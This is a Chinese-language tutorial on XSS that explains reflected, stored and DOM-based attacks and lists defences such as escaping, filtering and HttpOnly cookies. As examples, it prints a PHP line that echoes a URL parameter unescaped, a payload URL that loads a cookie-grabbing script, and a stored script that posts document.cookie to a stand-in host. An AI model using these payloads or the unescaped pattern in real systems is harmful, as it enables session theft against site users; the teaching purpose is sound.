XSS 跨站脚本攻击
介绍
Cross-Site-Scripting
简称 XSS
(改为 XSS
为了区分 CSS
),是一种代码注入攻击。通过注入恶意脚本,在用户浏览器上运行,以获取用户的 Cookie、SessionId
等敏感信息。
一般有以下三种方式:
危害
- 窃取 cookie
- 劫持流量并导流到其它网站
- 插入广告
- 植入木马
- 获取用户信息
途径
- url 参数注入
- 输入框注入,一切用户可以输入的地方都是不安全的
类型
- 反射型
- 存储型
- DOM型
1. 反射型
浏览器提交恶意代码到服务端,服务端再将恶意代码传回客户端。它一般是通过 url 传参形式。
反射性一般在前后端不分离的项目中,现在的前后端分离项目是无效的。
场景
网站将查询结果在页面中做了直接的展示
http://localhost:8000/?user=<script>alert(3)</script>
PHP
<?php echo "<p>hello, $_GET['user']</p>"; ?>
<?php echo "<p>hello, $_GET['user']</p>"; ?>
hack.js
内容是获取 cookie
信息的脚本
http://localhost:8000/?user=<script src="http://localhost:4000/hack.js">
2. 存储型
浏览器提交恶意代码到服务端,服务端将恶意代码储存到数据库中。
场景
表单中提交了恶意代码,如用户评论,当用户访问评论内容时,恶意代码内容通过浏览器执行。
例如用户在表单中写入了以下内容并发布,其它用户在访问到时,其 cookie
就会被发送到攻击者的服务器
JS
<script>
$.ajax({
type: "post",
url: "http://demo.com/get-cookie",
data: { cookie: document.cookie }
})
</script>
<script>
$.ajax({
type: "post",
url: "http://demo.com/get-cookie",
data: { cookie: document.cookie }
})
</script>
3. DOM 型
恶意代码仅在客户端运行。
DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。
场景
通过 url
传递参数的页面,如搜索、跳转
解决方案
对输入进行过滤,对输出进行转义
- 输入进行格式校验。如输入一个手机号,就要限制其格式
- 过滤
- 过滤
<script> <iframe>
标签 - 过滤
onclick、onerror、onfocus
等事件
- 过滤
- 对需要被浏览器渲染的内容进行转义
- 限制输入内容的长度
- 将
cookie
设置为http only
,禁止JavaScript
读取cookie
对于反射型与存储型:一般来说,攻击者是可以绕过前端过滤进行输入的,所以输入过滤一般在后端完成,如 php
的 htmlspecialchars
方法,以及数据库的一些方法,能将 html
标签和其它一些特殊符号转为字符实体。如
像富文本编辑器的内容,一般都是通过这些方法对内容进行处理。
对于 DOM
型:
- 避免直接操作
.innerHTML、.outHTML、.document.write()
,应该尽量使用.textContent
等方法 - 在
Vue
技术栈中,对不可信内容不要使用v-html
指令,其实现也是使用innerHTML
方法,所以需要对内容的标签进行转义